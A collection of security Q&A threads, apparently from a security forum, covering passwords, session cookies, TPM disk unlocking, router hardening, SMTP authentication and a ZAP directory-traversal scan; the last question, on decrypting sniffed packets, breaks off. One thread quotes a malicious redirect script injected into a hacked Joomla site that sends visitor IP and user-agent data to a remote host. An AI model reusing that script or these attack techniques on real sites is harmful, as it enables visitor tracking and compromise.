According to one online entropy calculator, at one hundred trillion guesses per second, it'd take 1.24 hundred trillion trillion centuries to crack my delicious password.  And it's super easy to remember.  And I don't need dice. Even my grandma could have a memorable and strong password: "type tophat seven times".

I do realize that a formula-based password violates Kerckhoff's Principle, and that using a word relevant to a target would strengthen a targeted attack, but in general terms, is there any theoretical security difference between random words of minimum total length T versus one word repeated sufficiently to reach length T?

Once you say the magic words "targeted attack", I'm not sure that theory has much to say on the topic.

The whole idea of password entropy only makes sense against a generic dictionary / rainbow table attack. Basically, the online entropy estimators are trying to estimate how far an attacker will have to delve into their rainbow table before they find your password. These are based on publicly available rainbow tables.

As you say, only a randomly machine-generated password [1] [2] stands up to Kerckhoffs's principle. As soon as an attacker decides to launch a targeted attack and study your password habits, the entropy value provided by those online estimators no longer makes any sense. By sniffing your TLS packets, they can tell the length of your password, by looking up your email address in databases of leaked passwords [1] [2] they can tell what patterns you like to use for your passwords, etc. They can use information like that to build a targeted rainbow table or brute-force dictionary against which your password will have a significantly lower entropy.

Bottom Line: online entropy estimators are based on what researchers think attackers are using for rainbow tables in a generic attack, and apparently ham,ham,ham,bacon,bacon,ham stands up fairly well against that. Any estimate of how well it would stand up against a actual targeted attack is pure speculation.


Why not store password in cookie? I've got a novice question -
It is often said that you should not store plaintext passwords in a client-side cookie. (I'm imagining a web browser cookie, but I supposed this applies in general.) But in simple web apps we often store a plaintext session-ID in a cookie.
To elaborate, we often secure sites using this model:

The user enters username and password on the client machine. These are sent to the server over a secure (HTTPS) connection.
The server hashes the password and validates against the database. Assuming the password is correct, the server generates a session-ID and returns it to the client machine alongside the body of the response.
The client stores the plaintext session-ID in a cookie. Every time the client makes another call to the server, the session-ID is sent back to the server over a secure connection.
After x minutes of inactivity, the session expires and the session-ID is no longer considered valid for that user.

But we're strongly discouraged from using this model:

The user enters a username and password on the client machine. These are stored, in plaintext, in a client-side cookie. Then, they are sent to the server over a secure (HTTPS) connection.
The server hashes the password and validates against the database. Assuming the password is correct, the server returns a response.
Every time the client makes another call to the server, the password is sent back to the server over a secure connection.
After x minutes of inactivity, the cookie expires and the
password is no longer saved on the client's machine.

Why is the second model considered insecure while the first model is secure? Granted, in the second model a nefarious cookie-reader could steal the password from the browser. But in either model a nefarious key-reader could steal the password from the IO subsystem. Is this the only reason that the second model is not used - to slightly decrease our attack vector by blocking cookie-readers? Or is there some larger problem with storing the password on the client, which I'm not seeing?

Several points against the second model:

Hashing the password should take a significant amount of time, so as to slow down brute forcing in the event of a database leak. Checking a password on every request is a waste of resources.
Cookies can be vulnerable to XSS attacks, and having your password stolen is worse than having your session stolen (passwords aren't changed as often, and they tend to be reused on multiple sites).
Cookies are generally stored unencrypted on the client.
Sessions can't be easily invalidated, as it requires changing the password.
It's completely incompatible with any Single Sign-On system (thanks @CBHacking)

Storing the password hash instead of the password isn't much better, you solve the performance problem but you're still potentially leaking the password hash to be brute forced, and you can't easily invalidate sessions, or even tell them apart in the case of a user with multiple concurrent sessions.


Use TPM2.0 to securely decrypt the hard drive in Linux -- unattended I spent several days trying to figure out how to securely decrypt a hard drive on remote location using TPM2.0 in Linux. I'm no security expert and this is my first battle with TPM2.0. I learned a lot, but I still have questions. Could someone help me with those:

At the current time TrustedGRUB2 does not support TPM2.0, only TPM1.2. I couldn't find other projects with support for TPM2.0. Are there any?
Can TPM2.0 stop the boot process?

The problem I'm trying to solve is such that:

I have an encrypted / partition with /boot unencrypted
The computer will be on someone else premises, so it should not be possible to steal a hard drive and read the data
The boot process should be unattended -- the machine should not decrypt the drive and boot itself if something changed -- BIOS configuration, initram file (/boot is unencrypted, so fiddling with initram is possible)

I thought about this solution:

LUKS key will be the value of PCR0
PCR0 value should change, if someone will change something in BIOS, like reset it (if someone will steal the whole PC, not only the disk), enable USB boot.
The PCR0 value used to decrypt the disk should be secure as much as secure is the OS running on it -- only way to read this unchanged PCR0 without changing the BIOS is to gain access to the OS, right?

I think that I achieved a level on which I can ask a legitimate question about this issue, but I cannot myself assess further the implications or holes in this.

On a Linux system, you can use clevis to "bind" a LUKS volume to the TPM2, and decrypt the root filesystem automatically in your case.  For example:

clevis luks bind -d /dev/sda3 tpm2 '{"pcr_ids":"0"}'

or

clevis luks bind -d /dev/sda3 tpm2 '{"pcr_ids":"0,1"}'

You will need it to already be encrypted and have a passphrase, which the command above will prompt you for.  You can leave the passphrase as a backup or remove it afterwards.

I'm not sure about using the PCR0 value itself as the key, since in my limited experience that value is pretty easy to access. I don't believe that is how "sealing" data against a PCR works but I don't know the exact relationship between the PCR value and the sealed value.

I have used clevis to bind a LUKS volume to the TPM2, and automatic decryption on boot-up when it's the root filesystem.  I encrypted the device during install, and had success binding it manually and in a kickstart script.  The clevis tool added TPM2 support early 2018 and made it out of the RHEL "beta" repo when RHEL 7.6 was released. I only got the automatic decryption to work on the full /dev/sd* volume, not any logical volumes.  I found this link very helpful:  https://blog.dowhile0.org/2017/10/18/automatic-luks-volumes-unlocking-using-a-tpm2-chip/

I believe PCR0 is supposed to change if the BIOS firmware is modified and PCR1 changes even if certain settings are modified. I don't know the best PCR(s) to pick; my information is from a single system and the PC Client specification defining PCR usage  at https://trustedcomputinggroup.org/wp-content/uploads/PC-ClientSpecific_Platform_Profile_for_TPM_2p0_Systems_v51.pdf (Section 2.3.4, Table 1).


Running Directory Traversal Against POST Request Headers I'm trying to run a directory traversal against the EdgeOS web server. I started the OWASP ZAP proxy with Firefox and tried to login with an incorrect username and password to look at the POST request. I am trying to modify this request to run a directory traversal. I would like to run this attack against as many parameters as I can. Such as the Connection:, User-Agent:, Referer: and Cookie:. I am quite new to ZAP so any help would be appreciated.

GET https://192.168.1.1/ HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://192.168.1.1/
Cookie: PHPSESSID=959ecee6b57f4030bee01175453e9854; X-CSRF-TOKEN=08e15a2c705ff9a30a958e7b36669e83e738b607a7f5e349d347a0a6e674141c; ip_address_top_user_option=total_bytes; beaker.session.id=538f34654a4441f4bfa63548d6e1b8e8
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: 192.168.1.1

Directory traversal is tested as part of the ZAP active scan. By default all active scan rules are run, but you can define a scan policy which specifies exactly which rules are run, in your case just the directory traversal one.
ZAP also has the concept of active scan 'input vectors' - the things ZAP will actually attack. By default the HTTP headers will not be included, so you will need to enable these.
Its not clear from you post if you want the scan to be authenticated or not, if you do then that will complicate things - I'd start with an unauthenticated scan first and make sure thats working well before looking at authentication.


When can I start security test in an agile environment? I have a web application and we are working in an agile environment, and the QC team working and need to run security testing. When I can run the security test?
I searched for this topic and can't reach an acceptable result for the team.

The short version is: as soon as there is something to test.
There are two common challenges that normally impact this on teams newer to agile development:

Teams still batch work. They do all of the design up front, then all of the development, then hand it over for testing. This often runs late and leaves little or no time for testing. This can be addressed a few different ways but they all boil down to building in very small pieces that take at most a few days to complete and those can go through testing steps (including security testing) early and on a continuous basis.

Testing is done in a manual or ad hoc way that assumes you will only test once. Again, regardless of if you are doing security testing or other testing, you're in an environment where you expect things to change frequently. This means that what was secure yesterday may not be secure tomorrow. Your security testings toolset needs to support this. A vast majority of things will need to be automated. Also, if all of your security testing is black-box, this will get away from your quickly. You want to target root causes of problems more than symptoms. Scan config files, use static code analysis, etc.


How are WPA Keys stored on a router? Should the router only store a hash of my encryption key or is it stored as plaintext?

I believe (but not certain) that the WPA key is itself an encryption key, buy shouldn't that be encrypted like any other login credentials?

I realize I have larger concerns if someone can interface with my router to get to wherever the key is stored... But still, wouldn't storing a hash instead of the password/key itself be desirable?

It is possible I am not understanding something fundamental to the WPA2 spec. Specifically, I am a web developer, so I am looking at this from an angle as someone who would never store sensitive info to a database in plaintext... But again its entirely possible I am looking at this the wrong way.

The preshared key (PSK) is not actually the encryption key.  It is a "common" starting point used by the two devices to negotiate encryption without making the exchange vulnerable to a man in the middle attack.

An attacker would need both the PSK and the initial exchange between AP and client to be able to decrypt the transmission.  Wireless PSK's will never be as secure as the 802.1X counterparts, and if security is a concern then you should transition from PSK to WPA2-Enterprise as soon as possible.

Your concern seems to be with how the PSK is stored, but if an attacker has access to the router/AP itself, then all data passing through the device is vulnerable no matter how the PSK is stored.  What I mean by this is that the encryption "ends" at the radio interface and is no longer encrypted while being processed and/or while exiting another interface.


What is it called when you give hackers a way in? Is there a name for a system that is designed to be hacked into?

(Alternatively, there may be a different name for a system that is designed to look like it is hacked in to, but is actually just emulating?)

And is there a name for an executable that looks interesting to a hacker (for example decryptor.executable next to temporary-backup.sql.encrypted) but is really/also designed to gather and transmit information about the user running it?

I believe the term you're looking for is "honeypot".


Can password_verify() be used to identify password after database breach? I am a newbie to PHP and password hashing. I am following the instructions provided @ Safe Password Hashing to hash my user password before storing.

My questions are:

PHP recommends password_hash() method as a preferred secure way to hash. In case of a database breach won’t the hacker use password_verify() and identify the passwords rather than using a rainbow look up table?
If so, what should be my approach to close this security gap?

password_verify() takes two arguments: a string of which you want to check if it's the correct password, and the value you calculated earlier with password_hash(), which you presumably stored somewhere in a database or so.

A typical application could be:

<?php
$hash = password_hash('my-secret', PASSWORD_DEFAULT);
// normally you would save the hash somewhere, but we'll just continue in this example

$check_a = 'other-secret';
$check_b = 'my-secret';
if (password_verify($check_a, $hash))
   echo 'Check A was the original password: ' . $check_a;
if (password_verify($check_b, $hash))
   echo 'Check B was the original password: ' . $check_b;

The output will be:

Check B was the original password: my-secret

If you want to get the original password from a hash calculated by password_hash(), you'll need to try all possibilities - that's what this example shows. Because of the architecture of password_hash(), finding a password like this will take a long time, so it's not worth it.

Note also, from the password_hash() doc:

  PASSWORD_DEFAULT - Use the bcrypt algorithm (default as of PHP 5.5.0). Note that this constant is designed to change over time as new and stronger algorithms are added to PHP. For that reason, the length of the result from using this identifier can change over time. Therefore, it is recommended to store the result in a database column that can expand beyond 60 characters (255 characters would be a good choice).

The algorithm is designed to change over time, so that it stays secure, and finding a password by brute force won't become possible with faster computers (presuming, the PHP installation on your server is up to date)

In any case, a hash is one-way: you can't turn it around. You can only verify a given password by computing the hash of that one, and checking if it's the same.


Is my approach good enough for brute force protection? I don't particularly want to implement Captcha on my login form for a website. But I've got a block mechanism already in place.

What's the best way to protect from Brute Force attacks?

Here's what I was thinking:

Implement a lockout, so after 30 failed logins I block the customer account. 30 is an arbitrary number, but I figure brute force attack isn't going to guess within 30, and any customer who tries 30 times is probably going to have to call in for a password reset anyway.
Or should I just ignore brute force, and maybe implement it at a firewall, is there a firewall that can detect and stop brute force attacks?

I would think option 2 is better because the brute force won't drain my server resources if the requests don't reach it.

As others have mentioned already, currently the recommended way of implementing lockout is to require a Captcha only after a few failed login attempts. This method is good from both a security and usability standpoint - the Captcha is very effective on stopping automated attacks, but only requiring it after a few failed logins makes it so that legitimate users will rarely even see it. (Another benefit is that no real person is ever "truly" locked out; they can keep trying as long as they can keep answering the Captcha correctly, which takes enough time and effort that it's not usually considered a significant security risk.)

If you really want to avoid Captcha entirely, both methods you present would work if properly implemented but neither is ideal usability-wise. If you use Option 1, someone could intentionally lock out other usernames, either just to cause trouble or to exact "revenge" against another user. If it's a small site it might not be a big deal, but if the site is large enough it's pretty much guaranteed to happen at some point.

Option 2 is a bit better, but you have to consider shared IP addresses. Many schools and businesses have hundreds or thousands of computers behind a single public IP address, so if that IP is banned many legitimate users could be affected.


Validate if URL (message) is coming from a trusted source We are working on a redirecting page for our mobile apps.

Users would go to a page like:

https://mobileredirect.our-app.com?target=https://clientdomain.com/some_resource

Mobile apps on iOS and Adroid can intercept the "mobileredirect.our-app.com" domain, when installed. If not installed, the browser will open, and redirect the browser to the client domain.

This is contains an obvious problem. Anyone can put any domain in the scheme and this becomes an attack vector. I would like to be able to verify if the URL is actually coming from a trusted source. We need to do it this way, as we don't control which domains could use our mobile app.

Ideally I'd like to do this in the browser, without the need for a server.

I was thinking of using a library like simple-crypt, using the Asymmetric operation. Trusted servers would have the private key, they would encrypt the URL end it would end up like this:

https://mobileredirect.our-app.com?target=ENCRYPTED_URL.

The clients (mobile apps, and the website) would contain the public key to decrypt the URL. This does mean that the public key will be visible to everyone.

Now my question: Is this a good idea? How can this be broken? Is it overkill? Are there easier ways (e.g.: use some type of checksum algorithm)?

This is a repost from Stack Overflow.

It's good that you do want to keep the private key private and only hand it to trusted servers, not to the clients itself.

While you propose a scheme that will (probably) be (reasonably) safe, I have a slightly different approach for you to consider which is less of an abuse of asymmetric cryptography and allows for better transparency as to what's happening to the user receiving one of those links:

If you add a path element to the URL that contains the signed hash of the url to send the user to, like this:

http://a.tgt/?target=sign(privKey, h(https://b.tgt/bla))|https://b.tgt/bla

where sign() signs a message with a private key and h() hashes a string, you have

a better chance of detecting tampering,
solid authentication and
do not hide the actual forward target from the user.

By concatenation of the signature and the target URL as pointed out in the comments you reduce the chance of the payload being processed without processing the signature as well.

Please also note that encryption with the private key is usually called signing :)


Application level proxy on HTML. Capabilities I am studying for a network security exam. I found in an old exam the following question and I have no idea of the answer:

  A company is protecting its intranet by a multi-homed bastion host B, acting as an application-level proxy.
  Provide short answers (2 lines max) to the following questions.

  Can B allow HTML incoming files and deny incoming JPG files in HTTP connections?
  Can B allow HTML incoming files and deny incoming JPG files in HTTPS connections?
  Can B allow HTML incoming files and deny incoming JPG files in HTTP VPN-connections?

I think that the answer is “no” for all the three question… but I would like to know for sure.

Technically all three "could" be yes if the SSL and VPN connections are terminated on B at the application proxy.

Without terminating the encrypted connections on B or using a key to decrypt the connections at point B only the first one would be true as in case 2 and 3 the proxy in theory could not see the traffic within the encrypted sessions to be able to differentiate between the .jpg and .html files.

A real-world example of this might be if you used mod_security on a proxy server as B to filter .jpg files from a web-server behind it.

This said I think the original question you read needs to have better clarification. Or you need to be specific about the encryption cases in all of your answers to make up for the lack of specificity in the original question.


Is it dangerous to use default router admin passwords if only trusted users are allowed on the network? There are a lot of articles addressing the dangers of default router admin passwords. Certain security applications will also detect default router admin passwords as a vulnerability. However, these articles all focus on what could possibly happen if your router was compromised.

But suppose we have a router configured such that the admin panel is only open to the local network. Furthermore, suppose that the password to connect to the network (i.e. via wifi) is sufficiently secure (i.e. very high entropy), and only trusted users are allowed on the network.

Under these conditions, could the router still be compromised? Is there still a need to change the default router admin password? My thoughts are that if an attacker can't get into the network, they can't compromise the router regardless of the router's admin password. CSRF is a possibility, but that can be defended against with CSRF token. Are there any other possibilities I haven't considered?

As you correctly noticed CSRF attacks are a possibility. Prevention of CSRF attacks is possible with a CSRF token, but this is nothing you can do as the user of the router. So if you are a router vendor you should definitely implement CSRF protection but as a user you have to live with what the vendor offers you and many vendors don't have proper CSRF protection.

Beyond CSRF there are other attacks which can be used against the router. Similarly to CSRF, many of these use the browser as the trampoline, i.e. just require a visit to some web site which has exploits embedded (like embedded in advertisements) and don't need a compromise of the user's computer. Noticeable among these are cross site scripting (XSS) and DNS rebinding attacks. Here again the vendor could implement proper protection in theory, but in practice it is often not done.

And then even trusted users might have their system compromised through a variety of ways. In this case the attacker is inside the trusted network and knowledge of default passwords makes it a lot easier to hijack the router and make the attacker's control over the network more permanent and less obvious this way.

This means even if you think you have proper protection, you should change the password away from the default in the spirit of defense in depth. The more unknowns an attacker has to find out to infiltrate the network, the harder you make it for him, and the better you secure your network. And of course this also applies not only to the password but general router security, i.e. some routers have bugs or even backdoors where you don't even have to know the user's password for a takeover. And it's not only routers but you also have to watch out for other devices like printers, scanners, smart light bulbs, TV etc.


Security and Peformance ASUS RT-AC68U router I have an ASUS RT-AC68U router.

I flashed the latest Merlin firmware (from the official Merlin site).
I have disabled the AI-cloud.
I have 2.4 and 5Ghz WiFi enabled, and it's not hidden, both with a good password.
When guests come over I turn on guest wifi, otherwise it's turned off.
Firewall is on.
I have switched from standard class c (192 IP) to class b (172) subnet.

Is this above all good? Any tips about better secure and/or increase performance? I already have good wifi channels.

FireWall NAT Loopback, should I turn that off?

The RT-AC68U is a pretty good consumer grade router out the box but there are a few things you need to do to tighten it up.

Disable UPnP. This is perhaps the biggest hole it has as standard. If you really need port forwarding set it up manually
Make sure you disable WPS, it is much easier to break into your WiFI with this enabled
Make sure you change not only the WiFI network password but also the router login username and password
Switch on AI Protection. While far form perfect it will give you an additional layer of browsing security as it runs its own dynamic site blacklist
Add MAC address filtering so only whitelisted devices can join your network
Make sure remote admin is switched off (if practical)
It supports WPA2 Enterprise, there is more to set up but if you want better per user encryption it is worth it

Also I am not 100% sure why you switched to a class b network space. I can see not benefit to this for a home network.

Consider running https://www.grc.com/shieldsup against your set up or even better run nmap against your gateway to find out if there are any rouge ports open.

  question: FireWall NAT Loopback, should I turn that off?

See here for details: Is NAT Loopback on my router a security problem?


Is cloud server without HTTPS secure I am running a Seafile Open Source Cloud server (v 4.0.6) on my Raspberry Pi 2. Currently it is set up to simply run without HTTPS or even a domain name on [myIP]:8000. I am also running an Apache web server on the RPI2 with HTTPS. I wanted to know what are the security risks of running and allowing users to access and sign up for this Seafile cloud server without the safety of HTTPS.

Basically, a man-in-the-middle attack could occur.

If someone were to listen in on your users when they submit their username and password, that person would be able to retrieve their login credentials.

Any decent network password sniffer could easily pull this off.


How to deal with possibility of viruses on Dropbox, Google Drive, external hard drive, etc? For home use, what is the best way to deal with viruses that could be on external storage, which seems like a great way for hackers to persist on your system even after a reformat. Maybe the best practice is to just not store file types that are often hacked like PDF, flash, etc? Or is Dropbox and Google Drive good enough at detecting malicious files?

Is this your own home machine? If it's a work network I would just block Google drive, Dropbox etc. People tend to take things home and work on them but means you have no control over the company data.

With that said I looked around a bit and it really depends on the provider some scan some don't and leave it to you to have a scanner installed. So I would just do some research on a provider before you use their services, at least that way you'll know where you stand.

I found the following in the security section about Google Drive.

  Virus scanning: Google Drive scans a file for viruses before the file
  is downloaded or shared. If a virus is detected, users can't share the
  file with others, send the infected file via email, or convert it to a
  Google Doc, Sheet, or Slide, and they'll receive a warning if they
  attempt these operations. The owner can download the virus-infected
  file, but only after acknowledging the risk of doing so.

  Only files smaller than 25 MB can be scanned for viruses. For larger
  files, a warning is displayed saying that the file can't be scanned.

I didn't find much on Dropbox except the Dropbox help page.

  Dropbox will sync any files added to it, so if someone syncs a virus or malware file, it will be synced to any computers linked to the account. Other users' accounts and computers may also be affected if the virus or malware is in a shared folder. Malware files are generally not activated unless you click on them to open them. For this reason, just as with files from any other source, we recommend that you follow good security practices, such as running anti-virus software and exercising due caution when running unknown files from other computers.

I also found another question related to this Does Dropbox offer any protection against infected files?


Are the Microsoft Windows images found on the internet safe? Microsoft has stopped offering the Windows images for download. It is now only possible to get the image if one has a key of a retail version of the corresponding OS. The question is now, whether the images that fly around the internet, are safe to use. It is enough to compare the SHA1 of the .iso-files with the one provided by Microsoft? Is it easily possible to create a collision while simultaneously introducing malware or other unwanted "objects" into the .iso file? The .iso files are all smaller than 5GB.

For a malicious attacker who tries to alter an ISO file while keeping its hash value identical to the hash value of the "genuine" file, the problem is known as a second preimage attack. No such attack is known for SHA-1 right now; if somebody wanted to compute such a second preimage, he would have to pay a cost of about 2160 hash function computations, which is way beyond that which is technologically feasible (by some billions of billions of...). Therefore, yeah, as long as the hash matches, the ISO file is "safe" (where "safe" means "identical to what Microsoft wants it to be"), regardless of how you obtained it.

Actually this is true even if MD5 is used as hash function. Second preimages are a lot harder to compute than collisions (one can say that second preimages are like collisions where one half of it is fixed).

All of this assumes, of course, that you can find the genuine hash values as computed by Microsoft themselves (i.e. you found them on a Microsoft Web page and this specific browsing was done over SSL). As @Graham hints at, normally, when you can get the hash value from Microsoft, you can also download the ISO from Microsoft, possibly from the very same page, which makes the point a bit moot.


Best practice for caching sensitive data My server returns private data in the body of an HTTPS response. It's not passwords or credit cards, but it is  user-generated text and images, which should not be accessed by others.

The data for a particular URL never changes, and could be cached for as long as I wanted. The performance benefit of caching is significant.

There are a lot of Cache-Control directives: max-age, private, no-store, etc., but I'm not sure which I should use.

I do set session cookies (lifetime is limited to a single browser session). Is there a way to have a "session cache" that behaves similarly?

What is best practice?

If the majority of your traffic is personalized data then you should use HTTPS and rely primarily on browser caches. Make use of this cache by setting Expire header and ETag.

Additionally, the Cache-Control: no-store advises browsers to not cache the data on a persistent storage, the data can only be cached on RAM. In effect, this is like session cache.


NGO Joomla! site: Infected with malware? JavaScript injection? Please help us with this NGO site running Joomla! 1.5.

They can't pay a security professional right now, so maybe you guys can help isolate the problem?

If you go to http://casatrespatios.org you get redirected to some openDNS page
http://www.website-unavailable.com/

There is a javascript tag at the bottom of the page:

<script type="text/javascript">location.replace("http://guidetest.a.id.opendns.com/?url=www%2Ealabora%2Eorg%2Fcss%2Fstat%2Ephp%3Fip%3D186%2E115%2E71%2E1%26useragent%3Dmozilla%252F5%2E0%2B%2528x11%253B%2Blinux%2Bi686%2B%2528x86%5F64%2529%2529%2Bapplewebkit%252F537%2E36%2B%2528khtml%252C%2Blike%2Bgecko%2529%2Bchrome%252F28%2E0%2E1500%2E52%2Bsafari%252F537%2E36%26domainname%3Dcasatrespatios%2Eorg%26fullpath%3D%252F&servfail&nref");</script>

which seems to be the culprit. This code is not in the correspondent php template file. I have no idea how this code gets injected into the page. Does anyone have an idea?

Support for Joomla 1.5 LTS ended in Dec 2012. This usually means that no more security patches (or any other maintenance patches) will be released.

The "solution" is to migrate content from a known good backup to a supported Joomla version, or some other current Content Management System.

Even if someone here were able to figure out a fix, you would have to migrate anyway, because Joomla 1.5 is out of support - so you might as well do it now.


Enrolling Users Best Practices I am working on a site where the administrators enroll the users. Currently, after the user is created, they are assigned a password and sent an email with a link that has them confirm their email. After that, they can log in.

Is it a good idea to switch this up? I am considering not giving the user a password, but sending them an email with an account activation link where they must define a password, confirm it, then also add a security question and answer.

Is this a good option? I am having trouble finding best practices on when account creation is handled by an admin versus a registration page for the user themselves.

What I'm going to write here is not best practice, because if anything usable security research has shown, it's that the best practice (e.g. NIST guidelines) is seriously lagging behind on research. This is a condensate of research done on the topic, my own discussions with usable security experts at UCL, and my own approach as an interaction designer.

Take the question in reverse: what are the security requirements for your website, and what are the authentication requirements?

Security

For most websites, this boils down to one simple question: what irreversible externalities will the users (the users first, please. Then you as a provider) suffer if their account is stolen?

If users suffer serious consequences (e.g. financial losses, significant loss of reputation, identity usurpation with potential legal repercussions), then you care about them having a non-reused, strong password. Otherwise, you can let them reuse a password of their choice.

This determines whether you control the authentication factor, or they do. The intrinsic truth behind this rule is that users will reuse passwords simply because they have to cope with too many passwords to make a unique one for every website (see research on managing password portfolios).

Usability

Now it's time to talk about interaction modalities. What we're looking at here is to proportionalize the amount of user effort to the perceived benefit of using your website's services. Do users need to log in once a year to do some tax return or renew a subscription? Then, don't make them remember a strong password.

Do they need to log in on a regular basis to your service, and is automatic login not advisable (e.g. online banking or email)? Then, users might be more tolerant of learning a generated password. The key here is that users themselves must be convinced the perceived benefit of the service outweighs its perceived security cost, or they will disengage (see the Compliance Budget theory).

Low-effort strong authentication

What do we do when users cannot tolerate the effort requirement of a strong password? Let's now look at your own authentication requirements. The most glaring option here is to delegate authentication to a third party. This could be Facebook or Google, or a government-backed federated identity scheme for services with legal obligations to authenticate users in the real world.

You could also switch to authentication tokens, or add authentication factors to compensate for a potentially weak password. You could also go the route of one-time passwords sent via email. The solutions available depend on what restrictions you have with regard to alternate forms of authentication.

High-effort strong authentication

Remember to keep the perceived cost-to-benefit ratio of your authentication scheme balanced over time.

Don't be the kind of moron who imposes a unique, super-complex password onto their users only to force them to change it every 3 months, unless your threat model really justifies it. This is a sure way of getting users to store their passwords. And with users logging in onto services via their computer, mobile, office computer, etc., not all of them will use a reputable password manager (notwithstanding clipboard API attacks that threaten a wide variety of use cases for password manager users both on mobile and desktop).

You can also act on the perceived benefit and cost by communicating to your users what they gain from using a unique password and why it's important to do so specifically for your service. You should, in return, commit to good security practice and to respecting your users' time by not forcing additional security theater onto them. If they respect your decision, they will be less prone to bypassing your security measure or switching to competitor services.

Low-security authentication

Just email them a password reset link, let them do what they want, sit back and relax! Or switch to Google/Facebook authentication anyway because it's still more secure and usable than password authentication.


Sign certificates using a web server certificate issued by a public CA I have obtained a certificate from GoDaddy. It's usage and constraints are as follows:

Key Usage

Digital Signature, Key Encipherment (a0)

Enhanced Key Usage:

Server Authentication (1.3.6.1.5.5.7.3.1)
Client Authentication (1.3.6.1.5.5.7.3.2)

Basic Constraints

Subject Type=End Entity
Path Length Constraint=None

Using OpenSSL, I am able to use this certificate as a CA and sign certificates. Of course, using the certificate signed by the fake CA gives errors in all browsers.

My question, is this a bug in OpenSSL? Can this be used as an exploit?

I read up on CVE-2015-1793 which focuses more on the alternative chain validation than the ability of OpenSSL to sign certificate using a non-CA certificate.

Thanks for any help.

My question, is this a bug in OpenSSL?

You could consider it a bug in OpenSSL that it allows signing by a non-CA certificate. But even if OpenSSL would refuse to do this you could simply change the source code to allow it again. Thus it does not matter much if the code allows you to create such a certificate.

  Can this be used as an exploit?

Instead the problem would be if somebody would accept such a certificate. Thus if someone presents a certificate it need to be fully validated by the peer. This validation includes checking all constraints, including that the issuer was a CA.

In the past several implementations had problems with this complete validation and some ignored the CA flag, so in this case the issue could be exploited. But again, this is not the problem of the application used to create the certificate but the one which failed to verify the certificate properly. Because identification by certificate should protect the TLS connection against attacks the application should always assume that an attacker tries to circumvent the validation and thus always do a complete validation of the certificate.


What is the most secured SMTP authentication type? Say you have to choose only one among the following authentication types for your own SMTP server:

LOGIN, PLAIN
CRAM-MD5
DIGEST-MD5
NTLM/SPA/MSN

Which one would you recommend for optimal security?

PS: The list is the authentification types given in man swaks

With SSL/TLS it's okay to use LOGIN / PLAIN.

You should provide SMTP on top of an SSL-encrypted connection. While some schemes from your list (e.g. DIGEST-MD5) can keep a password secure even over an untrusted channel, they won't protect users from a man-in-the-middle attacker tampering with their session. (Commonly, email servers wrap SMTP via direct TLS or a connection upgrade with STARTTLS at the ports 465/587.)

Any SMTP auth type, regardless if you usePLAIN or an advanced method, just provides application level authentication. But what you want is transport level security. After a user is authenticated over SMTP, there will be no automatically encrypted connection. Per the SMTP protocol, commands and emails are exchanged with the server in plain text, allowing a man-in-the-middle attacker to read and modify the communication and inject new commands. That's why you should provide it on top of SSL encryption, just like HTTPS provides HTTP on top of SSL.

The HTTP analogy: If you secure your website with HTTPS, then it doesn't matter that the a login form actually transmits your password as a plain string in the POST body of the HTTP request, because the data transport is SSL-encrypted. Enabling CRAM-MD5 for SMTP is analogous to implementing a challenge-response scheme in Javascript before transmitting login credentials to a website. (You can occasionally see that technique in router interfaces which don't provide HTTPS but it's not very common.)

As for a real-life example, GMail is fine with offering LOGIN / PLAIN authentication (where credentials are sent in plan text) after having established a secure SSL connection:

$ openssl s_client -starttls smtp -connect smtp.gmail.com:587
 ...
250 SMTPUTF8
EHLO foo
250-smtp.gmail.com at your service, [127.0.0.1]
250-SIZE 35882577
250-8BITMIME
250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH
250-ENHANCEDSTATUSCODES
250-PIPELINING
...

(As you can see, they also provide some methods you didn't list, e.g. XOAUTH2 for OAuth2 tokens which might be interesting if you're after passwordless authentication.)


Increase security without using "dynamic" kernel modules? I recently read that NOT using loadable kernel modules could increase security. In my interpretation this consist about recomplying the kernel with only built-in kernel modules. (how to disable loadable kernel modules support? - in various os, like: debian, fedora, openbsd, etc.)

Q: Is this true? Or are there any workarounds for this? What are the OS'es that could be used like this?

ps.: http://en.wikipedia.org/wiki/Loadable_kernel_module

NOT using loadable kernel modules could increase security.

Yes, the theory is as follows:

Attackers want to co-opt the kernel; that gives them more power and better ability to hide
Dynamic kernels allow malicious modules to be inserted, a handy interface for the attacker to co-opt the kernel
If the kernel is statically compiled, the attacker can't use this attack vector

There are several trade-offs which make this less than attractive in practice:

Dynamic kernels have introduced incredible flexibility, and there is no better way to learn that than to try and pin down the statically compiled kernel configuration that will actually run and do what you need.  It's a big trial-and-error process.
Static kernels are not immune to having malicious code injected into them, so disabling the dynamic load capability does not completely erase the attack vector.

I think that compiling static kernels for security's sake was an idea that had its time, but its time has passed, and it's no longer a cost effective security choice for most environments.


Creating a system to try new software out I am using Windows 10 and I like it.

I would like to experiment without doing harm to my main system that I work with. Experimenting means, downloading software from doubtful sources, executing doubtful software, looking at controversial websites. In short, how do I protect my system from malware while being able to try new things out?

It has to be fast enough to try out free indie games, so a virtual machine might not be fast enough.

I would definitely recommend using a Sandbox.

Taken from Wikipedia :

  In computer security, a sandbox is a security mechanism for separating running programs. It is often used to execute untested code, or untrusted programs from unverified third parties, suppliers, untrusted users and untrusted websites.1 A sandbox typically provides a tightly controlled set of resources for guest programs to run in, such as scratch space on disk and memory. Network access, the ability to inspect the host system or read from input devices are usually disallowed or heavily restricted.

  In the sense of providing a highly controlled environment, sandboxes may be seen as a specific example of virtualization. Sandboxing is frequently used to test unverified programs that may contain a virus or other malicious code, without allowing the software to harm the host device.2

A very good program for this would be Sandboxie which can be found to download from here.

A good tutorial for using Sandboxie can be found here.

Good luck and happy testing! =]


Decrypting packets sent from a server to a client, how to figure out the key, having both decoded packets and encoded packets I have written a packet sniffer which succesfully intercepts all the packets sent from a server to my computer.
The problem is that the packets are encrypted(of course) and i need to decrypt them.
An example of a packet captured by my packet sniffer is this:

28-A0-D0-D3-00-23-3F-B5-00-16-79-1C-4F-CB-28-29-61-CC-DF-CF-05-57-43-BF-09-B2-E9-EA-CD-3C-85-FD-9C-41-07.

Where I know that 28-A0 is the source port, D0-D3 is the destination port, 00-23 is the lenght and 3F-B5 is the checksum. So I believe the actual data begins after the 00.

